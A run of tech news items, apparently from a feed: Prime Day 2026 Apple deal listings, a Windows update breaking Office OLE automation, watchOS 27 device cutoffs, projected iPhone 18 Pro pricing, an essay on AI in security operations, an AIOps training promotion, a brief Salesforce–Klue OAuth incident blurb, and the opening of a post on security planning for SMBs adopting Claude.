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Prime Day 2026: Best Early Apple Device and Accessory Deals Now Live

Amazon is soon to be back with its annual summertime Prime Day event, lasting for four days from June 23-26, one of the longest Prime Day events yet. As it does every year, Prime Day offers shoppers a huge selection of deals across Amazon's storefront, and there are already many deals you can get on sale ahead of the event.

Note: MacRumors is an affiliate partner with Amazon. When you click a link and make a purchase, we may receive a small payment, which helps us keep the site running.

For our coverage, we're focusing on early discounts for Apple and Apple-related products that can be purchased right now on Amazon. As of today, this includes deals on AirPods, Apple Watch, iPad, monitors, charging accessories, and more. We're also sharing deals being matched at retailers like Best Buy in some cases.

EARLY SAVINGSAmazon Prime Day 2026

As is typical for Prime Day deals, these markdowns are very time sensitive, so sales listed below may disappear fast, and new ones may appear even faster. With this in mind, we'll keep this article updated over the next few days, and keep an eye on the MacRumors front page as we'll be posting particularly great deals in separate articles next week.

Lastly, and perhaps most importantly, Amazon Prime Day requires you to have an Amazon Prime membership to take advantage of the discounts. Amazon Prime costs $14.99 per month or $139.00 per year, and it comes with a 30-day free trial for new subscribers.

Special for 2026, Amazon is also offering 50% off Prime memberships for Young Adults. Prime for Young Adults is a discounted Prime membership for anyone age 18-24 that offers all of the Prime benefits at $69.00 per year, half of the price of regular Prime.

Apple

AirPods


Amazon has the AirPods Max 2 on sale for $499.00 in all colors, down from $549.00. This is an all-time low price on the headphones. This is accompanied by a great discount on the AirPods 4 for Prime Day, available for $99.00, down from $129.00.

$30 OFFAirPods 4 for $99.00
$50 OFFAirPods Max 2 for $499.00iPad


Amazon is taking up to $52 off Wi-Fi and cellular models of Apple's 11th generation iPad for Prime Day. Prices start at $299.00 for the 128GB Wi-Fi iPad, down from $349.00, a second-best price on this model.

$50 OFF128GB Wi-Fi iPad for $299.00
$50 OFF256GB Wi-Fi iPad for $399.00
$52 OFF512GB Wi-Fi iPad for $597.00Apple Watch Ultra 3


Amazon has the Apple Watch Ultra 3 on sale for $99 off the Black Titanium model with the Black Ocean Band this week. It's been nearly two months since we last tracked notable discounts on the Apple Watch Ultra 3, and right now only two models are on sale at $99 off.

$99 OFFApple Watch Ultra 3 for $699.99

There are discounts on a wide array of different Ultra 3 models, but they're only hitting around $50 off as of writing.Apple Watch Series 11


In terms of watches, you'll also find all-time low prices on the Apple Watch Series 11 on Amazon ahead of Prime Day, with $100 discounts across numerous models of the smartwatch. This sale includes a handful of GPS aluminum models on sale at record low prices.

$100 OFFApple Watch Series 11 (42mm GPS) for $299.00
$100 OFFApple Watch Series 11 (46mm GPS) for $329.00

You can get the 42mm GPS Apple Watch Series 11 for $299.00, down from $399.00, and the 46mm GPS model for $329.00, down from $429.00. On Amazon, you'll find four of the 42mm GPS models and four of the 46mm GPS models on sale at these all-time low prices.MacBook Air


You'll find $149 off a few models of the 13-inch M5 MacBook Air on Amazon this week, starting at $949.99 for the 512GB model, down from $1,099.00.

$149 OFF13-inch M5 MacBook Air (512GB) for $949.99
$149 OFF13-inch M5 MacBook Air (16GB/1TB) for $1,149.99More Deals


Highlights of early Prime Day accessory sales include a handful of monitor deals, like the 32-inch Samsung OLED M90SF Smart Monitor for $1,199.99, down from $1,599.99, which is a match of the best-ever price on this model. Below you'll also find great deals on monitors from Dell and LG.

$400 OFF32-inch Samsung Smart Monitor M9 for $1,199.99

These new deals join ongoing highlights of early Prime Day deals, including Anker's Prime 3-in-1 Wireless Charging Station, available for $109.99 on Amazon this week, down from $149.99. This is one of Anker's newest accessories, and Amazon's sale today is a solid second-best price on the device.

$40 OFFAnker Prime 3-in-1 Wireless Charging Station for $109.99

We're also tracking big discounts from brands like Sony, Samsung, Sonos, and more in the lists below. Accessories on sale include USB-C wall chargers, MagSafe-compatible wireless chargers, portable batteries, headphones, and soundbars.

Monitors

32-inch Samsung Odyssey G5 Monitor - $189.99, down from $329.99
27-inch Samsung Odyssey G5 Monitor - $203.00, down from $249.99
27-inch Dell Plus 4K Monitor - $279.99, down from $299.99
27-inch LG Ultragear Gaming Monitor - $319.99, down from $499.99
27-inch Samsung Odyssey OLED G5 Gaming Monitor - $419.22, down from $499.99
32-inch Samsung Smart Monitor M9 - $1,199.99, down from $1,599.99
UGREEN

2-Bay Desktop NASync - $199.99, down from $219.99
2-Bay Desktop NAS - $389.99, down from $439.99
4-Bay Desktop NAS Pro - $719.99, down from $799.99
Wall Chargers

Anker Nano USB-C Wall Charger - $29.99, down from $39.99
UGREEN 100W GaN 4-Port Charger - $42.99, down from $54.99
Anker 140W 4-Port GaN USB-C Charger - $79.99, down from $99.99
Anker 3-Port Prime Charger - $115.99, down from $149.99
Wireless Chargers

Anker 3-in-1 MagSafe-Compatible UFO Charger - $69.99, down from $89.99
Anker 3-in-1 MagSafe-Compatible Foldable Charging Station - $79.99, down from $109.99
Anker 3-in-1 MagSafe-Compatible Charging Cube - $89.99, down from $129.99
Anker 3-in-1 Prime Wireless Charging Station - $109.99, down from $149.99
Anker Prime MagSafe-Compatible 3-in-1 Charging Station - $159.99, down from $229.99
Portable Chargers


Anker Prime Power Bank 20,100 mAh - $149.99, down from $179.99
Anker SOLIX C300 Power Station with Lantern - $179.99, down from $249.00
Anker Prime Power Bank 26,250 mAh - $279.99, down from $329.99
Anker SOLIX C1000 Gen 2 Portable Power Station - $499.99, down from $799.00
Jackery Explorer 1000 v2 Portable Power Station - $429.00, down from $799.00
Anker SOLIX C2000 Gen 2 Portable Power Station - $799.99, down from $1,499.00
Audio

Sonos Beam Gen 2 - $369.00, down from $499.00
Sony WH-1000XM6 Noise Canceling Wireless Headphones - $398.00, down from $459.00
Sonos Arc Ultra Soundbar - $899.00, down from $1,099.00

If you're on the hunt for more discounts, be sure to visit our Apple Deals roundup where we recap the best Apple-related bargains of the past week.



Deals Newsletter

Interested in hearing more about the best deals you can find in 2026? Sign up for our Deals Newsletter and we'll keep you updated so you don't miss the biggest deals of the season!




Related Roundup: Apple Deals
This article, "Prime Day 2026: Best Early Apple Device and Accessory Deals Now Live" first appeared on MacRumors.com

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Microsoft broke some OLE automations with latest Windows update

Microsoft Office users may find that some of their applications are failing to open when called on by third-party applications. It’s an issue that has emerged after the latest round of Microsoft updates.
The problem affects Word, Excel, and other Office applications opened from third-party offerings including CCH Engagement, Workpaper Manager, Zotero, or dental office software such as Dentrix or Softdent.
The update issued on June 9 appears to have triggered problems with the OLE automation that these third-party applications use to interact with Office. Users have reported that files are failing to open, with no error message indicating what has gone wrong,
According to one Windows user forum, the issue is particularly frustrating because of this lack of error message. As one user put it, “‘Word won’t open from our workpaper system’ is functionally the same as ‘Word is broken.’ To an administrator, the difference determines whether the next hour is spent repairing Office, rolling back Windows, calling a line-of-business vendor, or opening a Microsoft support case.”
Microsoft has said that it is aware of the issue and is working towards a resolution.
Deleting mystery file
The company is also looking to fix a minor issue that has emerged from this latest round of updates: Users are finding that when items are deleted, the confirmation dialog box displays the internal Recycle Bin file name (for example, $Rxxxxx.ext) instead of the original file name. However, Microsoft stressed that in the Recycle Bin, the item still appears with its original name.
This article first appeared on Computerworld.
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CSOonline

Apple Explains Why watchOS 27 Drops Support for So Many Models

Apple today detailed why five Apple Watch models will miss out on watchOS 27 and the new Siri AI features that come with it.


The Apple Watch Series 6, 7, 8, SE 2, and the original Apple Watch Ultra will not receive watchOS 27, and will only get basic security updates going forward. With the update, Apple is effectively dropping three years' worth of device support in a single software update, which is unprecedented for the product line.

Speaking to TechRadar, Cait Dooley, Apple Watch and Health product marketing manager, said performance requirements were behind the cutoff:



Dooley added that older watches paired with an iPhone running the latest software will keep working and will continue to receive security updates.

David Clark, senior director of watchOS software engineering, said one of the goals of ‌watchOS 27‌ was to "expand the intelligence story on Apple Watch and make it a true co-partner to Apple Intelligence." He described the watch as often "the most convenient way to interact with ‌Siri‌," since it's on the wrist all day and useful for quick questions when hands are full:



Clark used the example of asking ‌Siri‌ on Apple Watch for a recipe's ingredients while grocery shopping with both hands full, then later pulling up the same list on the iPhone in an easier-to-read format. He called that handoff a "superpower."

‌watchOS 27‌ is currently available in beta to developers, with a public beta expected next month ahead of official release in the fall.Related Roundups: watchOS 26, watchOS 27Related Forum: Apple Watch
This article, "Apple Explains Why watchOS 27 Drops Support for So Many Models" first appeared on MacRumors.com

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Report: iPhone 18 Pro Could Start at $1,399 Amid Price Hikes

Apple this week confirmed that price increases are coming across its lineup due to rising memory chip costs, and now The Wall Street Journal has published its own analysis estimating the iPhone 18 Pro could start as high as $1,399.


Speaking with The Wall Street Journal, Apple CEO Tim Cook acknowledged that the company is not immune to soaring memory chip costs. Asked which devices would see price increases and when, Cook said, "We're still working through that," with more clarification expected to arrive with the next iPhone lineup this September.

The price hikes stem from a global shortage of DRAM and NAND flash storage, driven largely by AI data centers competing for the same components. Manufacturers including Samsung Electronics and Micron Technology have been shifting production toward enterprise-scale memory chips for AI servers, squeezing supply for consumer electronics like the iPhone.

Citing analysis from research firm TechInsights, The ‌Wall Street Journal‌ now reports that prices for DRAM and flash storage are projected to roughly quadruple by this fall compared to last year. TechInsights estimates that Apple paid around $39 for the 12GB of DRAM in the iPhone 17 Pro, a cost that could climb to $145 in the ‌iPhone 18 Pro‌. The 256GB flash storage tier, which cost Apple about $13 in the ‌iPhone 17 Pro‌, could rise to $51.

Overall, TechInsights estimates Apple's component and manufacturing costs for the ‌iPhone 17 Pro‌ excluding memory at roughly $530. Combined with DRAM and flash storage, that puts the total estimated bill of materials for the base ‌iPhone 17 Pro‌ at about $582, with the ‌iPhone 18 Pro‌'s costs projected to rise 25% to around $726.

TechInsights' research suggests the $1,099 ‌iPhone 17 Pro‌ carries a gross margin of around 47%. To preserve that margin on the ‌iPhone 18 Pro‌, Apple would need to charge $1,371, but The ‌Wall Street Journal‌ notes that Apple's preference for standardized pricing makes a $1,299 starting price more likely, working out to a 44% margin.

That estimate doesn't factor in a new camera system, which supply chain analyst Ming-Chi Kuo says could cost Apple about 50% more than the previous generation. Accounting for that added cost using the same approach, The ‌Wall Street Journal‌ estimates Apple could set the ‌iPhone 18 Pro‌'s starting price at $1,399 or higher.

A starting price in that range would represent a $200 to $300 jump over the $1,099 ‌iPhone 17 Pro‌. The ‌iPhone 18 Pro‌ Max would likely start $100 above whatever price Apple sets for the Pro, consistent with the current gap between the two models. The ‌iPhone 18 Pro‌ models are expected to launch alongside the foldable "iPhone Ultra," which has been rumored to carry a starting price of around $2,000.Related Roundup: iPhone 18 ProTag: The Wall Street Journal
This article, "Report: iPhone 18 Pro Could Start at $1,399 Amid Price Hikes" first appeared on MacRumors.com

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Breaking the SOC triangle: How AI reshapes security operations trade-offs

A simple framework has always governed security operations that I call the SOC Triangle. It is a balance between quality, consistency and cost efficiency.
Every SOC operates within it. Push for higher-quality investigations, deeper analysis, richer context, fewer missed signals and you pay for it in time and expertise. Standardize workflows to ensure consistency across every alert, and you often lose the flexibility needed to handle real-world complexity and nuance. Optimize for cost efficiency, and the pressure shows up quickly in both quality and consistency.
For years, the SOC Triangle has shaped how security teams are built and how they perform. This is why organizations add headcount to improve outcomes, rely on rigid playbooks to reduce variability and improve scale, and still struggle to operate at their theoretical best and optimize security and quality of service outcomes.
The constraint is not a failure of strategy. It is structural. And until recently, it was largely unavoidable.
Why the SOC was built this way
Most security operations centers are designed as human-routing systems. Alerts are ingested, triaged, escalated and resolved by analysts at multiple levels. Every meaningful step, including collecting evidence, correlating signals and making decisions, depends on human capacity.
That dependency introduces variability. Two analysts can approach the same alert differently, influenced by experience, fatigue and time pressure. To improve consistency, organizations introduce playbooks and workflows. But those controls often reduce flexibility, especially in complex cases, and fail to provide coverage where decision making relies in part on unstructured context, and where workflows may not be fully deterministic and require real-time reasoning to determine the best course of action.
At the same time, scaling either quality or consistency typically requires more people, reducing cost efficiency.
This is the SOC Triangle in practice: a system where improving one dimension creates friction in another.
The same constraint is also why the managed detection and response market exists. When organizations could not solve the triangle in-house, they outsourced it. But the service model does not eliminate the trade-offs. It reconstitutes them at the provider layer, where the same human-routing architecture, the same playbooks and the same staffing economics drive the same limits. Customers pay for consistency and predictability, and they get it. What they often do not get is the investigation depth and environmental customization tailored to their business context and to optimizing against their security program maturity goals that they would want if resources were not the binding constraint.
Where the model starts to break
The challenge is not just the existence of trade-offs, but their growing intensity.
Modern SOCs must process higher volumes of alerts across more tools and environments. The work itself, gathering and correlating evidence across identity systems, endpoints, cloud platforms and threat intelligence, is both repetitive and cognitively demanding.
Under this pressure, the triangle tightens.
Quality degrades because analysts do not have time to fully investigate every signal and rigid automation playbooks often fail to capture the depth and nuance that security leaders expect which results in increased friction for end users. Consistency suffers because decisions are made under time constraints. Cost rises because the only way to compensate is to add more people or accept increased risk.
This hits hardest for organizations that have outsourced SOC operations. Service economics lock the trade-offs in place. Per-alert pricing constrains how much investigation each signal receives. Standardized playbooks limit how much the service can tailor to a specific environment. Tier structures exist because the math of humans investigating alerts demands they exist. Every one of those mechanisms is a rational response to the triangle. None of them changes its shape and its fundamental constraints.
For years, this has been accepted as the cost of doing business, whether that business is run in-house or outsourced.
How AI changes the constraint
AI is often framed as a tool for efficiency. The more meaningful shift is that it changes how certain SOC workflows are executed.
Much of SOC work follows a pattern: gather data, correlate signals, ask follow-up questions and form a conclusion. These workflows are complex but repeatable. They require consistency and scale as much as expertise.
When those workflows are no longer constrained by human bandwidth, the SOC Triangle begins to change shape.
Quality improves because investigations can incorporate more meaningful data, apply investigative reasoning in real time and take into account unstructured information and business-specific context without shortcuts. Consistency improves because the same logic is applied across every alert. Cost efficiency improves because scaling no longer depends on linear increases in headcount.
I am watching this play out in production environments today. Investigations that used to consume the majority of Tier 1 and 2 analysts’ shifts now resolve in minutes, with deeper context than the human path could produce within these time frames. The same rigor is applied to every alert, not only the anecdotal ones that earn attention. What used to be a choice between going deep on a few cases or going shallow on many is no longer a compromise security leaders need to make.
For the first time, these dimensions are not strictly in opposition.
From trade-offs to expansion
This does not eliminate the SOC Triangle. It expands it.
Not every workflow can be automated, and not every decision can be reduced to a repeatable process. Strategic judgment, incident leadership and risk appetite remain human responsibilities and business decisions.
But the boundary within which SOC teams operate is no longer tied to legacy constraints.
Instead of choosing between quality, consistency and cost, organizations can begin to improve all three for the types of work best suited to machine execution. That is a meaningful shift, whether it occurs within a company’s SOC or in the service relationship with a partner that operates it.
Where it matters most
The impact is most visible in the high-volume workflows where performance gaps have been largest: alert triage and enrichment, initial investigation and evidence gathering, correlation across systems and routine response recommendations. These are the areas where human-led processes introduce the most variability, where time pressure degrades quality and where scaling costs are most visible. They are also the areas where trade-offs have historically been unavoidable.
The human role evolves
AI does not remove the need for human expertise. It changes where that expertise is applied.
As machines take on repeatable work, human effort shifts toward higher-value activities: interpreting ambiguous signals, managing complex incidents, setting policy and making risk-based decisions. The operating model moves from human-executed workflows to human-governed systems.
That changes what organizations should expect from security operations, whether in-house or outsourced. The conversation moves from “how many alerts did you close last week” to “what patterns are you seeing in my environment, and what should I do about them.” The output is judgment, not throughput. That is a different product than most security teams have been buying, and it is a different service than most managed detection and response service providers have been selling.
The shift that matters
For years, SOC leaders have accepted the triangle as a fixed constraint. What is changing now is not just the tooling. It is the economics of how security work is performed.
The triangle still exists. But it no longer defines a rigid set of trade-offs. In parts of the SOC and the services that support it, those trade-offs are beginning to loosen.
In a field where constraints have long dictated outcomes, that shift matters.
This article is published as part of the Foundry Expert Contributor Network.
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AIOps Training: The Ultimate Roadmap to AI-Driven IT Operations

Modern enterprise infrastructure has outgrown human capacity. Cloud-native ecosystems generate an overwhelming amount of telemetry data—millions of logs, metrics, and traces pass through your monitoring pipelines every single second. When an outage occurs, it rarely triggers a single, clear alert. Instead, it sparks a catastrophic alert storm, drowning your on-call engineers in noise while systems crumble.
Traditional monitoring frameworks operate on static, hard-coded thresholds. They tell you when an event crosses a specific limit, but they cannot tell you why a multi-tier microservice architecture failed dynamically. This gap leads directly to alert fatigue, soaring Mean Time to Resolution (MTTR), and severe financial liabilities.
To break this cycle, organizations are rapidly transitioning from reactive monitoring to proactive intelligence using Artificial Intelligence for IT Operations. Structured AIOps Training has evolved from an optional skill development path into an absolute requirement for tech professionals. Let’s unpack the precise operational framework, architecture, toolchains, and educational roadmaps necessary to master AI-driven operations.
What is AIOps?
AIOps, a term originally coined by Gartner, stands for Artificial Intelligence for IT Operations. At its core, it represents the strategic convergence of Big Data, Machine Learning (ML), and advanced analytics with daily IT operations workflows.
The Evolution of Operational Models
Manual Monitoring (Pre-2000s): System administrators manually inspected physical server resource consumption and written logs. Siloed APM & Infrastructure Monitoring (2000s–2010s): The rise of specialized software to track application performance, though data remained isolated within discrete platforms. Cloud-Scale Observability (Mid-2010s): Unified gathering of structural system outputs (Metrics, Logs, Traces) across ephemeral, highly distributed container platforms. Intelligent AI Operations (Present): Eliminating the human bottleneck by applying automated data pipelines and machine learning algorithms to real-time observability data streams. Traditional monitoring platforms rely heavily on human configuration to define what constitutes an error condition (e.g., CPU usage greater than 85%). AIOps flips this equation entirely. By ingestively processing raw telemetry, an AIOps platform automatically derives baseline behavior, isolates statistical anomalies, correlates independent events across system layers, and triggers targeted automated responses.
Data Inputs and Platform Framework
An effective enterprise operational environment maps telemetry inputs directly through an analytical pipeline to execute clean automation:
[ Raw Telemetry Data Inputs ] ├── Metrics (Time-series metrics from Prometheus) ├── Logs (Unstructured text streams from Fluentd / Elastic) ├── Traces (Distributed spans from OpenTelemetry) └── Topology (Orchestration context from Kubernetes) │ ▼ [ Unified Big Data Ingestion Layer ] │ ▼ [ Machine Learning Analytics Engine ] ├── Base Behavioral Profiling ├── Dynamic Anomaly Detection └── Topology-Aware Event Correlation │ ▼ [ Actionable Output & Automation Layer ] ├── Root Cause Analysis (RCA) Dashboards └── Auto-Remediation Playbooks (Ansible / Runbooks) Why AIOps Matters in Modern IT Operations
When software infrastructure migrates to dynamic, multi-cloud platforms, the underlying operational dependencies multiply exponentially. AIOps platforms resolve these complexities across several key functional layers:
1. Advanced Incident Intelligence & Noise Reduction
A minor configuration drift in an API gateway can cause thousands of downstream microservices to throw connection timeouts. In a standard setup, this results in an immediate cascade of redundant pages. AIOps systems utilize topology-aware event correlation to analyze the systemic layout and collapse those thousands of chaotic alerts into a single, comprehensive incident context. This cuts out the background noise and exposes the actual root cause instantly.
2. Predictive Analytics & Adaptive Capacity Planning
Rather than waiting for a storage volume or memory allocation pool to hit empty, machine learning models run continuous time-series forecasting. By examining historical trends alongside concurrent usage patterns, the platform can forecast resource exhaustion days in advance. This shifts capacity planning from speculative guesswork to precise mathematical calculation.
3. Accelerated MTTR via Automated Remediation
The true value of an AIOps Course lies in learning how to configure closed-loop automation systems. When an anomaly is discovered, the AIOps platform identifies the root cause and directly triggers targeted auto-remediation playbooks.
For instance, if a memory leak is verified on an isolated microservice container, the engine can autonomously run a rolling restart script or safely adjust the allocation boundaries. This preserves application availability and effectively drops the Mean Time to Resolution to zero—all without needing to page an engineer in the middle of the night.
Who Should Take an AIOps Training Program?
Transitioning to intelligent infrastructure management requires a modern operational skill set. This training program is specifically tailored for key roles across tech organizations:
DevOps Engineers: Learn to embed algorithmic testing, policy compliance, and automated feedback loops directly into continuous integration and delivery (CI/CD) pipelines. Site Reliability Engineers (SREs): Move past writing static alerting parameters. Harness data science to manage complex Service Level Objectives (SLOs) and build truly self-healing runtime systems. Platform & Cloud Engineers: Discover how to build and support centralized, highly scalable observability platforms that process telemetry across diverse multi-cloud environments. Monitoring Specialists & NOC Teams: Upgrade traditional infrastructure dashboard management skills to act as specialized incident triage and automation workflow architects. IT Managers & Directors: Gain the tactical insight needed to measure enterprise AIOps platform ROI, evaluate vendors objectively, and successfully guide teams through cultural shifts. What Will You Learn in an AIOps Course?
The specialized curriculum at AIOps School takes you from basic telemetry fundamentals all the way to complex enterprise architecture design.
Module 1: AIOps Fundamentals
Establish a strong foundation in AI-driven operations. Study the architectural shift from traditional monitoring metrics to big data analytics platforms, and learn how to map out a clear business case for AI adoption within enterprise systems.
Module 2: Observability Architecture
Master the structural mechanics of modern system data gathering. Learn to implement and organize unified observability frameworks capable of managing high-cardinality telemetry across highly distributed services.
Module 3: Metrics Collection & Analysis
Deep dive into structured time-series metrics. Understand aggregation methods, counter and gauge behaviors, and how to effectively leverage metrics to spot overarching performance shifts.
Module 4: Structured & Unstructured Log Ingestion
Learn to ingest, parse, and analyze massive volumes of unstructured log messages. Build highly efficient pipeline processing rules to normalize textual log data for down-stream machine learning consumption.
Module 5: Distributed Tracing & Span Analysis
Trace transactional paths as they move through complex microservice architectures. Master context propagation, analyze parent-child span connections, and isolate latency anomalies inside distributed call chains.
Module 6: Topology-Aware Event Correlation
Study how to use infrastructure topology mapping to group related system alerts. Learn to cut through operational noise by matching events directly against your infrastructure’s physical and logical dependency charts.
Module 7: Dynamic Anomaly Detection
Move past basic, static alert limits. Implement machine learning models that evaluate historic baselines and adaptively identify true performance deviations in real time.
Module 8: Machine Learning for Operations (MLOps Foundations)
Explore the foundational data science techniques behind modern operations tools. Learn how supervised, unsupervised, and reinforcement learning models are trained and deployed on active infrastructure data.
Module 9: Algorithmic Incident Intelligence
Master the mechanics of automated incident triage. Learn how AIOps platforms prioritize infrastructure issues, track down root causes, and present clear, actionable data to on-call response teams.
Module 10: Closed-Loop Auto-Remediation
Design and run self-healing operational playbooks. Build secure automation loops that execute targeted, program-driven fixes the moment an anomaly is confirmed.
Module 11: OpenTelemetry Standards
Implement vendor-neutral telemetry standards across your applications. Master the deployment and tuning of OpenTelemetry APIs, SDKs, and collection agents to build robust data pipelines.
Module 12: Enterprise AIOps Architecture & Strategy
Bring your skills together to architect highly reliable, large-scale enterprise AIOps hubs. Focus on core architectural design patterns, multi-region scalability, strict data compliance, and robust security practices.
Top AIOps Tools You Should Know
To build an efficient operations strategy, you need to understand how the industry’s primary toolchains stack up across capabilities, automation, and adoption styles.
Tool PlatformAI & ML CapabilitiesEvent Correlation StrengthsAutomation & RemediationNative IntegrationsEase of Corporate AdoptionSplunk Enterprise SecurityAdvanced log analytics powered by custom ML modules.Robust log-based signature matching.Direct execution via Splunk SOAR playbooks.Deep reach via extensive application marketplace.Steep learning curve; demands specialized expertise.DynatraceDavis® AI engine provides deterministic root-cause analysis.Exceptional topology-aware relationship mapping.Automated problem discovery and orchestration hooks.Native agents auto-inject across major cloud environments.Smooth, automated rollouts across platform layers.DatadogWatchdog AI uncovers hidden anomalies and trends.Straightforward tag-based alert grouping.Webhook integrations trigger external remediation tools.Broad out-of-the-box cloud platform coverage.Fast SaaS setup; intuitive dashboard construction.PrometheusBasic mathematical trend profiling via PromQL.Manual alert clustering via config files.Relies on Alertmanager to route alerts upstream.Deeply rooted in the Kubernetes ecosystem.Requires solid engineering design for large scale.Grafana EnterpriseVisual anomaly identification across diverse data backends.Grouping handled via Grafana Alerting engines.Triggers webhooks and coordinates with automation tooling.Connects seamlessly to nearly any database plugin.Highly accessible; the industry standard for visualization.Elastic Stack (ELK)Built-in unsupervised machine learning for log analysis.Log analysis using cluster grouping models.Watcher alerts trigger external API endpoints.Rich data ingest via Logstash and Beats agents.Moderate; requires intentional data layout management.MoogsoftAdvanced mathematical noise reduction and event grouping.Exceptional correlation independent of topology charts.Integrates smoothly with external ticket triage workflows.Extensive integrations with common monitoring tools.Straightforward integration with existing monitoring pipelines.BigPandaOpen Integration Engine driven by clear operational logic.Excellent alert grouping across diverse telemetry streams.Drives ticketing systems and incident response platforms.Aggregates alerts from major monitoring tools.Smooth integration with existing operational stacks.New RelicApplied Intelligence automates anomaly detection out of the box.Clean correlation using text pattern analysis.Webhooks integrate directly with configuration workflows.Comprehensive agents cover multiple programming languages.Standard SaaS setup; intuitive workspace organization. Benefits of Earning an AIOps Certification
Validating your practical skills through a structured certification program offers clear advantages for both your daily engineering work and your broader career trajectory:
Accelerated Career Mobility: An AIOps Certification signals to engineering leaders that you can move past traditional monitoring maintenance and actively architect modern, self-healing platforms. Command Higher Compensation: Tech professionals with proven AI-driven operations and infrastructure management skills regularly see substantial market premiums and salary increases over traditional operations positions. Bridge the Data Science Gap: True certification programs prove you understand how data science models are practically implemented inside daily operations pipelines—without requiring you to become a full-time data scientist. Future-Proof Your Technical Portfolio: As organizations retire legacy, threshold-based infrastructure dashboards, certified professionals are uniquely positioned to design and scale the next generation of intelligent operational platforms. Why Choose AIOps School for AIOps Training?
AIOps School is a highly specialized educational institution focused entirely on the intersection of machine learning analytics and modern infrastructure operations. The programs are carefully built to translate theoretical data science concepts into practical, day-one engineering skills.
Rather than just watching lecture slides, you spend your time in cloud-hosted sandboxes running production-grade telemetry toolchains. You will build actual log analysis engines, train real anomaly detection pipelines, and configure live auto-remediation playbooks against realistic system failures.
[ Traditional Training Platforms ] ──► Focus on watching static slides [ AIOps School Learning Method ] ──► 40% Conceptual + 40% Live Labs + 20% Capstone Project The school offers clear learning journeys that scale naturally from foundational concepts to advanced architecture tracks. Every course is taught by experienced industry practitioners who have spent years designing and running large-scale automated operations platforms for Fortune 500 enterprises.
Career Opportunities After Completing an AIOps Certification
Completing your certification opens up specialized engineering and architecture opportunities across the modern technology landscape:
AIOps Engineer
Design, deploy, and maintain the underlying infrastructure analytics engines. You will build and optimize telemetry collection pipelines, tune ML anomaly models, and ensure your operations platforms scale reliably.
Site Reliability Engineer (SRE)
Leverage advanced incident intelligence tools to safeguard application availability. Your focus shifts to driving down system MTTR, eliminating alert noise, and building robust, automated self-healing playbooks.
Observability Architect
Own the end-to-end data strategy across your organization’s entire multi-cloud ecosystem. You will define telemetry ingestion standards, design high-cardinality data storage, and ensure smooth data flow to upstream AI engines.
Automated Incident Response Specialist
Bridge the gap between incident discovery and structural remediation. You will build intelligent event correlation rules and write the code that orchestrates automated, program-driven fixes during system incidents.
Frequently Asked Questions (FAQ)
What exactly is AIOps Training?
It is a specialized educational program focused on applying machine learning, big data analytics, and automated workflows to modern IT operations. The training teaches you how to collect deep system telemetry, detect anomalies automatically, reduce alert noise, and build self-healing infrastructure.
Is AIOps difficult to learn for traditional IT professionals?
It is a structured learning path but entirely achievable. You do not need to be a data scientist. Having a baseline familiarity with IT operations, basic scripting, or DevOps practices makes the transition smooth.
Which AIOps tools are covered in depth during the training?
The curriculum emphasizes core, vendor-neutral principles alongside widely adopted industry platforms like Dynatrace, Datadog, Splunk, Prometheus, Grafana, and the Elastic Stack.
Is an AIOps Certification worth the investment?
Yes. As enterprise environments become more complex, organizations are actively prioritizing engineers who can run intelligent, automated operations. Certification provides clear verification of these in-demand skills.
How long does it take to complete a course at AIOps School?
Program timelines scale based on the specific depth of the track:
Foundation Level: 30–45 days (allocating 10–12 hours per week) Engineer Level: 45–60 days (allocating 12–15 hours per week) Professional Level: 60–90 days (allocating 15–20 hours per week) Architect Level: 90+ days (allocating 20+ hours per week) Can traditional DevOps Engineers easily transition into AIOps?
Absolutely. DevOps engineers already understand CI/CD pipelines and basic automation. AIOps training simply expands that skill set by adding algorithmic intelligence and data science analytics to their existing workflows.
Are there any strict prerequisites for the courses?
The Foundation and Engineer tracks require only a basic understanding of IT operations or DevOps concepts. The advanced Professional and Architect tracks are built for professionals with 2–3 years of active engineering experience.
How important are the hands-on labs in the curriculum?
The labs are essential to the program. The official certification exam splits its evaluation directly across conceptual knowledge (40%), hands-on lab scenarios (40%), and a comprehensive real-world capstone project (20%).
What specific industries are adopting AIOps platforms fastest?
Adoption is scaling rapidly across sectors managing complex, high-scale digital platforms. This includes Financial Services, Cloud & SaaS Providers, E-commerce, Telecom, and Healthcare IT ecosystems.
What does the future look like for the AIOps market?
The industry is moving toward fully autonomous, self-healing platforms. Mastering these data-driven operational patterns early ensures you remain highly competitive as automation transforms traditional infrastructure roles.
Conclusion
As modern software systems grow in scale and complexity, traditional, threshold-based monitoring frameworks can no longer keep pace. Relying on human configuration to manage massive streams of enterprise telemetry leads directly to operational blind spots, systemic alert fatigue, and extended system outages. True operational reliability requires a shift toward automated, algorithmic infrastructure intelligence. Enrolling in a comprehensive AIOps Course and earning an industry-recognized AIOps Certification gives you the precise technical foundation needed to deploy robust telemetry pipelines, run advanced anomaly detection models, and build dependable self-healing systems.
Take the next step in your professional development. Explore the specialized training programs at AIOps School and build the skills required to lead the future of AI-driven IT operations.
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reporter

Salesforce Disables Klue App Integration After OAuth Token Abuse Exposes Customer Data

Salesforce has revealed that it disabled the Klue Battlecards app integration within its platform in response to a security incident impacting the competitive intelligence company on June 11, 2026. To that end, organizations will be unable to connect to Salesforce via the app until further notice, the American cloud-based software company noted in an alert published this week. "Salesforce tookView the full article
Hacker News

Security considerations for adopting Claude Code and Cowork for SMBs

You are a security leader at a small or medium-sized business (SMB), and your organization has decided to adopt Claude. If you are like me, after the initial “surprise” wears off, you probably want to quickly get your arms around what adopting Claude means for the business, and for security specifically. Below are some lessons I learned, witnessed as a bystander or heard from fellow security leaders in the SMB space. The business wants to move fast, and Security is tasked with keeping up with that velocity.
Know what you are buying and accept that things are changing fast
Make sure you really understand what the organization is trying to achieve and which Claude plan you are buying. Understanding the Claude plan you are on, or planning to purchase, is important because most security necessities do not become available until the Team plan or higher. For example, while the Team plan provides SSO, the Compliance API is available only on the Enterprise plan. Claude Code (“Code”), Cloud Cowork (“Cowork”) and Claude Chat (“Chat”) are different products with different use cases and outcomes. The strategy here is to manage the blast radius. Most likely, every user will ask for “Claude” without knowing which plan or product they need to accomplish the task. I have found that an analogy works well here: Finance probably has a low appetite for giving everyone in the organization a corporate credit card with unlimited spending and no expense policy.
